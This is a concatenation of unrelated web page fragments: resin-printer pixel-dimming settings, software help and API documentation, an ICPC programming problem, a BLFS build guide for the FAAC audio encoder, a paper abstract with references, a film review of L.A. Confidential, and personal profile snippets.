Pixel Dimming somehow is a necessity on large, solid parts. The larger the area being cured for any
particular layer, the more of a runaway cure you will experience. That is why, the layer over cures
despite all attempts to prevent it through adjusting cure times. But by enabling Pixel Dimming, you can
fix it quite easily.
How to use it?
- Negative through
Resin Profiles
> Edit Profile
- On the first row, choose
Advanced
by selecting Setup Mode
- By looking at the
Pixel Dimming
section, you can select your preferred
Dimming Type
.
Recommended Settings for FEP
- Dimming Type
- Checkerboard
- Dimming Amount
- 20%
- Wall Around Dimmed Area in Pixels
- 3 - Depends on x/y resolution
- Skip Layers
- 40 - To have stronger support structure, you can turn off dimming for some number of layers
Recommended Settings for PDMS
- Dimming Type
- Checkerboard
- Dimming Amount
- 35%
- Wall Around Dimmed Area in Pixels
- 3 - Depends on x/y resolution
- Skip Layers
- 5


Use this command to copy HexEdit user files to a user's local data file folder (eg: C:\Users\<user>\AppData\Roaming\ECSoftware\HexEdit).
When you install HexEdit certain files are copied to your personal data folder (default templates, default toolbar images file, etc). If these files are not present HexEdit may not run properly - for example you may not be able to create a template or use/create custom toolbar images.
This command will fix this problem in case you have logged in as another user (not the one who was logged in when HexEdit was installed) or the files have been lost or corrupted somehow.


VEX Autonomous Planner
Configuration
Keyframes
Code
Components
New Component
Delete Component
|
Export
Import
Drive
Lift
Pneumatic
Other
Motors
Left
Right
Encoders
Left
Digital 1
Digital 2
Digital 3
Digital 4
Digital 5
Digital 6
Digital 7
Digital 8
Digital 9
Digital 10
Digital 11
Digital 12
port1
port2
port3
port4
port5
port6
port7
port8
port9
port10
Right
Digital 1
Digital 2
Digital 3
Digital 4
Digital 5
Digital 6
Digital 7
Digital 8
Digital 9
Digital 10
Digital 11
Digital 12
port1
port2
port3
port4
port5
port6
port7
port8
port9
port10
Motors
Encoder
Analog 1
Analog 2
Analog 3
Analog 4
Analog 5
Analog 6
Analog 7
Analog 8
Digital 1
Digital 2
Digital 3
Digital 4
Digital 5
Digital 6
Digital 7
Digital 8
Digital 9
Digital 10
Digital 11
Digital 12
port1
port2
port3
port4
port5
port6
port7
port8
port9
port10
Digital Sensor Ports
Other Motors
Select a component or create a new component
Create a drive component in the configuration tab
Components
Keyframes
New Frame
Delete Frame
|
Export
Import
|
Properties
Starting Position
Red Driver Side
Red Non-Driver Side
Blue Driver Side
Blue Non-Driver Side
Rotation
Offset
X-Offset
Y-Offset
Lift
Pneumatics
Action Type
PID
Time
Target
Action
Drive
Turn
Value
Action Type
PID
Time
Target
Value
Off
On
Time
Create a drive component and at least one keyframe
Donate
Support a poor college student!
VEX Autonomous Planner
Copyright
Ruiqi Mao
2014
Edited by Griffin Tabor and now maintained + edited by
Sid Prabhakaran
.
All Rights Reserved
Message


| 3808 - Network World Finals - Tokyo - 2006/2007 | |||||
| Submit | Ranking |
A packet-switching network handles information in small units, breaking long messages into multiple packets before routing. Although each packet may travel along a different path, and the packets comprising a message may arrive at different times or out of order, the receiving computer reassembles the original message correctly.
The receiving computer uses a buffer memory to hold packets that arrive out of order. You must write a program that calculates the minimum buffer size in bytes needed to reassemble the incoming messages when the number of messages (N
When each packet arrives, it may be placed into the buffer or moved directly to the output area. All packets that are held in the buffer are available to be moved to the output area at any time. A packet is said to ``pass the buffer" when it is moved to the output area. A message is said to ``pass the buffer" when all of its packets have passed the buffer.
The packets of any message must be ordered so the data in the sequence of packets that pass the buffer is in order. For example, the packet containing bytes 3 through 5 of a message must pass the buffer before the packet containing bytes 6 through 10 of the same message. Messages can pass the buffer in any order, but all packets from a single message must pass the buffer consecutively and in order (but not necessarily at the same time). Note that unlike actual buffering systems, the process for this problem can look ahead at all incoming packets to make its decisions.
The packets consist of data and header. The header contains three numbers: the message number, the starting byte number of data in the packet, and the ending byte number of data in the packet respectively. The first byte number in any message is 1.
For example, the figure below shows three messages (with sizes of 10, 20, and 5 bytes) and five packets. The minimum buffer size for this example is 10 bytes. As they arrive, packet #1 and packet #2 are stored in the buffer. They occupy 10 bytes. Then packet #3 passes the buffer directly. Packet #4 passes the buffer directly and then packet #2 exits the buffer. Finally, packet #5 passes the buffer directly and packet #1 exits the buffer.
The input file contains several test cases. The first line of each test case contains two integers N
The last test case is followed by a line containing two zeroes.
For each test case, print a line containing the test case number (beginning with 1) followed by the minimum buffer size in bytes required to reassemble the original messages. Put a blank line after the output for each test case. Use the format of the sample output.
Tests-Setter: Derek Kisman
Input
Output
Sample Input
3 3
5 5 5
1 1 5
2 1 5
3 1 5
3 5
10 20 5
2 16 20
1 6 10
3 1 5
1 1 5
2 1 15
0 0
Sample Output
Case 1: 0
Case 2: 10
Tokyo 2006-2007


Open File
Awaiting data file.
Awaiting data file.
[Rows] [Columns] [Export]
Page N of Y
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gl3n.color.hsv
- pure nothrow @safe vec3 rgb2hsv(vec3 inp);
- Converts a 3 dimensional color-vector from the RGB to the HSV colorspace.
The function assumes that each component is in the range [0, 1].
- pure nothrow @safe vec4 rgb2hsv(vec4 inp);
- Converts a 4 dimensional color-vector from the RGB to the HSV colorspace.
The alpha value is not touched. This function also assumes that each component is in the range [0, 1].
- nothrow @safe vec3 hsv2rgb(vec3 inp);
- Converts a 3 dimensional color-vector from the HSV to the RGB colorspace.
RGB colors will be in the range [0, 1].
This function is not marked es pure, since it depends on std.math.floor, which
is also not pure.
- nothrow @safe vec4 hsv2rgb(vec4 inp);
- Converts a 4 dimensional color-vector from the HSV to the RGB colorspace.
The alpha value is not touched and the resulting RGB colors will be in the range [0, 1].
Page generated by Ddoc.


Far better an approximate answer to the right question, which is often vague, than the exact answer to the wrong question, which can always be made precise.
John Tukey (1962)
Professional Activities
Teaching
I teach statistics, data science, and statistical programming at Utrecht University. I also give workshops on these subjects.
Research
I primarily study methods for missing data treatment. I also collaborate extensively with social-, behavioral-, and health-scientists.
Development
A lot of the research and consulting work I do involves intensive statistical computing. I also dabble a bit in R development.
Consulting
I offer professional statistical consulting as part of the Department of Methodology and Statistics Consultancy program.


Definition at line 31 of file CPoly.h.
Public Member Functions | |
| CEdge * | add (CEdge *edge) |
| CEdge * | addHead (CEdge *edge) |
| CEdge * | addTail (CEdge *edge) |
| CEdge * | unlink (CEdge *edge) |
| void | remove (CEdge *edge) |
| void | clear () |
| void | copy (CPoly *poly) |
| CPoly * | copy () |
| void | init () |
| CSphere | calculateSphere () |
| int | onFront (CPlane *plane) |
| int | onBack (CPlane *plane) |
| CPoly * | clip (CPlane *plane) |
| CPoly * | clipFront (CPlane *plane) |
| void | clip (CPlane *plane, CPoly *front, CPoly *back) |
| void | clip (CPoly *poly, CPoly *inside, class CMesh *outside) |
| void | reverseWinding () |
| void | triangulate (std::vector< CPoly * > *polyArray) |
| CPoly * | unlink () |
Public Attributes | |
| CEdge * | edgeHead |
| First edge in DLL. | |
| CEdge * | edgeTail |
| Last edge in DLL. | |
| int | edgeCount |
| Number of edges. | |
| CPlane | plane |
| Plane. Uses left hand rule. | |
| CSphere | sphere |
| void * | data |
| Custom data field. Use it to store a pointer to some custom data structure. Eg to define material properties, texture, ... | |
| CPoly * | prev |
| Reference to previous polygon in DLL. | |
| CPoly * | next |
| Reference to next polygon in DLL. |
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Links an edge to the tail.
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Links an edge to the head.
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Links an edge to the tail.
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Unlinks an edge from the DLL. Note that this does not free any memory.
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Removes an edge. This unlinks the edge and then frees it's memory. () |
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Clear the DLL of edges. This will free all memory. |
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Initializes the polygon. This will calculate the plane and edge normals. This should be done when the polygon creation has finished. If the number of edges < 3 this function will bail. |
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Calculates a bounding sphere. The polygon is entirely contained within the bounding sphere.
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Returns true if the polygon is in front of the plane, considering epsilon. |
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Returns true if the polygon is behind of the plane, considering epsilon. |
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Clip the polygon by plane, returning the remaining polygon (all that is in front of the plane). FIXME: changing this to clip everything BEHIND the plane will probably affect brush code. Will have to fix it. :) |
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Same as clip(CPlane* plane), however this removes the part that is behind the plane. |
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Clip the polygon by plane, returning both the parts that are in front and behind the plane. |
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Clip the polygon by another polygon that is coplanar, possibly overlapping. out = this - poly. in = this - out. For instance: ++++ ++++ ++---- => outside = ++ inside = ++ poly = ---- ++---- ++ ++ ---- ---- ---- |
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Unlinks this polygon from a DLL. |


FAAC is an encoder for a lossy sound compression scheme specified in MPEG-2 Part 7 and MPEG-4 Part 3 standards and known as Advanced Audio Coding (AAC). This encoder is useful for producing files that can be played back on iPod. Moreover, iPod does not understand other sound compression schemes in video files.
This package is known to build and work properly using an LFS-9.1 platform.
Download (HTTP): https://downloads.sourceforge.net/faac/faac-<IP_ADDRESS>.tar.gz
Download MD5 sum: 2b58d621fad8fda879f07b7cad8bfe10
Download size: 476 KB
Estimated disk space required: 3.2 MB
Estimated build time: less than 0.1 SBU
User Notes: http://wiki.linuxfromscratch.org/blfs/wiki/faac
Install FAAC by running the following commands:
./configure --prefix=/usr --disable-static && make
This package does not come with a test suite. However, basic functionality can be tested by encoding a sample WAV file (the sample file is installed by the alsa-utils-1.2.1 package:
./frontend/faac -o Front_Left.mp4 /usr/share/sounds/alsa/Front_Left.wav
Then, decode the result using the faad program from the FAAD2-2.8.8 package and play back the decoded file (requires the aplay program from the alsa-utils-1.2.1 package:
faad Front_Left.mp4 aplay Front_Left.wav
aplay should identify the file as “Signed 16 bit Little Endian, Rate 48000 Hz, Stereo”, and you should hear the words “front left”.
Now, as the root
user:
make install
--disable-static
: This
switch prevents installation of static versions of the libraries.
The quality of FAAC is not up to par with the best AAC encoders currently available. Also, it only supports AAC and not High Efficiency AAC (also known as aacPlus), which provides better quality at low bitrates by means of using the “spectral band replication” technology. There are the following alternative programs for producing AAC and HE-AAC streams:
Nero AAC Codec: available only in the binary form, the command-line AAC and HE-AAC encoders for Linux are in the same archive as the Windows application.
3GPP
Enhanced aacPlus general audio codec: available in the
source form, can encode only HE-AAC up to 48 kbps out of the
box, but the maximum bitrate can be changed by editing the
tuning table in the FloatFR_sbrenclib/src/sbr_main.c
file.
Note, however, that iPod supports only Low Complexity AAC profile, which is the default in FAAC, but may not be the default in Nero AAC Encoder and is completely unavailable in the 3GPP encoder.
Last updated on 2020-02-17 18:27:03 -0800


nips nips2005 nips2005-153 nips2005-153-reference knowledge-graph by maker-knowledge-mining
Source: pdf
Author: Douglas Aberdeen
Abstract: Probabilistic temporal planning attempts to ﬁnd good policies for acting in domains with concurrent durative tasks, multiple uncertain outcomes, and limited resources. These domains are typically modelled as Markov decision problems and solved using dynamic programming methods. This paper demonstrates the application of reinforcement learning — in the form of a policy-gradient method — to these domains. Our emphasis is large domains that are infeasible for dynamic programming. Our approach is to construct simple policies, or agents, for each planning task. The result is a general probabilistic temporal planner, named the Factored Policy-Gradient Planner (FPG-Planner), which can handle hundreds of tasks, optimising for probability of success, duration, and resource use. 1
[1] L. Peshkin, K.-E. Kim, N. Meuleau, and L. P. Kaelbling. Learning to cooperate via policy search. In UAI, 2000.
[2] Nigel Tao, Jonathan Baxter, and Lex Weaver. A multi-agent, policy-gradient approach to network routing. In Proc. ICML’01. Morgan Kaufmann, 2001.
[3] J. Baxter, P. Bartlett, and L. Weaver. Experiments with inﬁnite-horizon, policy-gradient estimation. JAIR, 15:351–381, 2001.
[4] Mausam and Daniel S. Weld. Concurrent probabilistic temporal planning. In Proc. International Conference on Automated Planning and Scheduling, Moneteray, CA, June 2005. AAAI.
[5] I. Little, D. Aberdeen, and S. Thi´ baux. Prottle: A probabilistic temporal planner. In Proc. e AAAI’05, 2005.
[6] Hakan L. S. Younes and Reid G. Simmons. Policy generation for continuous-time stochastic domains with concurrency. In Proc. of ICAPS’04, volume 14, 2005.
[7] Douglas Aberdeen, Sylvie Thi´ baux, and Lin Zhang. Decision-theoretic military operations e planning. In Proc. ICAPS, volume 14, pages 402–411. AAAI, June 2004.
[8] A.G. Barto, S. Bradtke, and S. Singh. Learning to act using real-time dynamic programming. Artiﬁcial Intelligence, 72, 1995.
[9] A.Y. Ng, D. Harada, and S. Russell. Policy invariance under reward transformations: Theory and application to reward shaping. In Proc. ICML’99, 1999.
[10] Douglas Aberdeen. The factored policy-gradient planner. Technical report, NICTA, 2005.


Written By: Brian Helgeland & Curtis Hanson Based on the novel by James Ellroy Directed by Curtis Hanson Rating: **** out of ****
"Go back to Jersey, Sonny. This is the City of the Angels and you haven't got any wings."
If I had to choose one particular line of dialogue from L.A. Confidential that perfectly summarised the kind of feeling you get from watching this film… well, I don't think I could do it. The reality is that every single moment of this film is so well crafted that I can't see how it could possibly be improved. However, the above quote, uttered by Dudley Smith (James Cromwell) during a violent police interrogation, succinctly sums up the world of L.A. Confidential. This is a world of tough justice, where the cops are every bit as bad as the criminals and corruption lurks everywhere. This is classic film noir.
The story revolves around three cops in L.A. during the 50s, whose lives become entangled following a horrendous spree killing at the Night Owl Coffee Shop. Bud White (Russell Crowe) is the merciless cop who prefers the violent brand of justice. Ed Exley (Guy Pierce) is the ambitious, by-the-book cop, who is trying to live up to his father's police career. Kevin Spacey (Jack Vincennes) is the cop who works as technical advisor for a TV show, who, in a rather poetic moment, admits that he can't remember why he became a cop in the first place.
Now this may all sound rather routine for the genre, but L.A. Confidential is superior to almost all its noir relatives. The script is so well written and the acting is so uniformly superb, that it's two and a half hour length actually feels short, even upon multiple viewings. Indeed, L.A. Confidential deserves to mentioned alongside other landmark noir films such as The Maltese Falcon, Chinatown and The Big Sleep.
The film crams so much plot into it's run-time, that there's no way I can provide an adequate summary in this review. I haven't even mentioned the roles of Lynn Bracken (Kim Basinger), Sid Hudgeons (Danny DeVito), or Pierce Patchett (David Strathairn), and yet they're all such memorable characters.
Probably the most amazing thing about L.A. Confidential is the fact that Curtis Hanson's name is next to the writing and directing credits. We're talking about the man who's previous accomplishments in film include The River Wild and The Hand That Rocks The Cradle (just thinking about them makes me cringe). However, Hanson has made a complete turnaround with L.A. Confidential and proven that he can make film on a level far above most of his contemporaries. What remains to be seen is whether he will emerge as the latest auteur or remain a one-hit-wonder.
Reviewed by: A. Estey<EMAIL_ADDRESS>Copyright 1999, by A. Estey
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rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
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Research Interest
I am broadly interested in developing theory and algorithms that democratize performant deep reinforcement learning and enhance its sustainability when applied to robotic systems. Specifically, I believe this can be accomplished by integrating the three Rs of waste management (reduce, reuse, recycle) into the lifecycle of agent training, validation, and deployment. There are a number of open directions for this work, but I am particularly excited about the promise of this concept in generating generalizable AI at reduced computational cost.
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Software Developer
Credit Suisse
November 2021 - Present
Passionate and highly motivated individual with 5+ years of professional experience in software industry, who has a good understanding of Data Structure and Algorithms and experience in working with .Net MVC architecture, Web Technologies and creating complex SQL, T-SQL queries.
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Credit Suisse
November 2021 - Present
University of the Cumberlands
January 2020 - July 2022
Motionsoft Inc.
November 2019 - November 2021
Motionsoft Inc.
July 2017 - November 2019
ProNear
February 2017 - April 2017
California State University Long Beach
August 2015 - December 2016
Persistent Computer Services
July 2014 - July 2015
University Of Mumbai
August 2011 - May 2015
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Web Technologies: HTML, CSS, JavaScript, jQuery, XML, AJAX, JSON
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Chronocube
A simple and beautiful way to manage your Rubik's cube solves
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